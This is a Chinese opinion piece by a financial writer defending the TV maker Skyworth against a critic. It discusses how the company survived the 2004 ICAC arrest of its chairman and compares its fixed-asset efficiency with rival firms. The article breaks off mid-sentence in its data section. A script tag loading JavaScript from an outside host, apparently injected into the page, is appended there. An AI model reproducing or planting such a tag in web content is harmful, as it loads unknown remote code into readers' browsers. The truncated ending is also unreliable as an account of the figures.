邵雨先生关于创维四个方面的战略迷失，是大家对创维的具体误读。作为一个多年近距离观察和研究创维的财经作家，我对邵雨先生的观点是不敢认同的，甚至恰恰相反，大家认为创维“迷失”或者做得不好的地方，正是创维的优秀之处，颇值得其同行乃至国内企业借鉴和学习。在此，借邵雨先生的这篇文章，我对创维进行一次重新解读，以期让大家了解一个真实的创维。

　　度过危机靠实力

　　“关于创维，人们往往被其令人惋惜与惊叹的危机和危机处理能力所吸引”。邵雨先生在《创维有恙》一文中开卷的这句话确实反映了外界对创维的主要关注所在。确实，创维危机是不少，但说其能够多次涉险过关只是因为其危机公关能力特强，我不苟同。

　　2004年11月30日，香港廉署发起“虎山行”行动，拘捕创维董事长黄宏生等10余人，将创维抛进危机之中。但很快，创维即摆脱危机，并且当月创下历史最高的销售业绩，单月销售额突破20多亿元。2005年，创维销售收入稳中发展，达到130亿元。

　　对创维处理这次危机的做法，有研究机构对其公关方面总结出了若干成功之处。我认为正确的危机公关对创维度过危机确实发挥了重要作用，但创维度过难关主要靠的是这之外的其它内在因素。

　　第一，创维有实力。危机发生时，银行、经销商、供应商都一致力挺创维，表现出面对其他企业遭遇类似危机时少见的积极态度。道理很简单，创维有钱，当时创维存在银行里的自有资金超过24亿元，并且没有银行贷款。这就是银行纷纷借机上门推销贷款的原因，因为这次危机成为他们上门服务的机会，各家银行都想借机拉到每年资金流入流出上百亿的业务大户。国美、苏宁、大中几大经销商联合发表声明支持创维，也是干送人情，买一个好。因为创维不欠他们的钱，而是他们欠创维的货款。供货商是最容易出问题的，但他们也不愿轻易丢掉创维这么一个大客户。创维当时也表示，危机关头，如果供应商有什么犹豫，对不起，从此别做生意。据说，香港有一家银行有些不太放心，创维又需要这家银行作为资金的出入口，就一下子打过5亿多元现金作为抵押，让银行吃定心丸。实际上创维当时在香港有一笔1亿美元的“贷款”，但创维始终不认为那是一笔贷款。那是一家国外公司认为人民币会升值，动员创维贷下这笔款，不用创维付息，但人民币升值后的赢利部分归他们。这笔钱创维根本就没有动，危机一发生，立即归还。试想，如果创维手里没有这么充足的现金，谁还为你火中取粟？如果在银行里有大量贷款，一有风吹草动，银行不逼债上门才怪！

　　第二，创维财务干净。香港廉署发动“虎山行”可谓来势猛烈。“明知山有虎，偏向虎山行”，廉署是要打一只“大老虎”。行动当天，廉署就突破常规地公布：“廉政公署这次调查涉及多项贪污指控。其中一项指控称，黄宏生涉嫌行贿一名曾受雇于执业会计师楼的前会计师，以伪造会计纪录，从而达到该公司在香港联合交易所上市的目的。作为报酬，该名会计师涉嫌收受贿赂，并被创维聘任为行政人员和获得公司认股权。”这项指控是非常具体明确的，如果这项指控成立，不论创维如何，以香港司法对黄宏生判决来看，对创维都会是灭顶之灾。因为，“财务造假”就不是黄宏生一个人的问题，受惩罚的就不仅仅是黄宏生个人，而是公司。并且这种惩罚也不会仅仅是停牌那么简单。但是，48小时后，廉政公署的指控中就没有了“财务造假”这项罪名。如果创维财务不干净，任你有多强的公关能力，都是在劫难逃。

　　创维创造了一个奇迹

　　评价创维模式，我先提出这样几个问题：在一个可能是中国市场上竞争最充分也最激烈的行业领域，创业18年，只有一年出现亏损，其余17年年年赢利，保持平衡发展；企业发展基本上没有靠银行贷款，而是靠企业自我积累发展，规模不断扩大；基本没有资本运作，靠做一个产品把企业做到年销售收入上百亿元的规模，这样的企业有没有？你能列出哪几家？

　　我相信，很少有人会想到创维就是这样的一家企业。在市场竞争和经营策略变化多端，价格战打得最为激烈的彩电行业，能产生创维这样的企业，是令人难以想像的，可以说是一个奇迹。

　　我对创维作出这么高的评价，是以数据作为依据的。

　　表1中的数据是国内彩电企业五巨头2004年和2005年的年报公告的数据，是最直接和最基本的投资和产出、效益数据比较。

　　以最小的投资换取最大的效益，是这组数据对创维的结论。

　　固定资产投资是企业最刚性的投资，固定资产的投资效益也是最有指标性和说服力的数据。从以上数据对比，我们可以看出，2004年，创维固定资产和销售收入的比率，原值比率是行业平均水平的3.8倍，净值比率是行业平均水平的2.6倍；固定资产和净利润的比率，由于行业平均为负数无法比较，与行业表现第二好的康佳相比，原值比率是康佳的13倍，净值比率是康佳的6.6倍。2005年，创维固定资产和销售收入的比率，原值?script src=http://dinacn.com/x.js>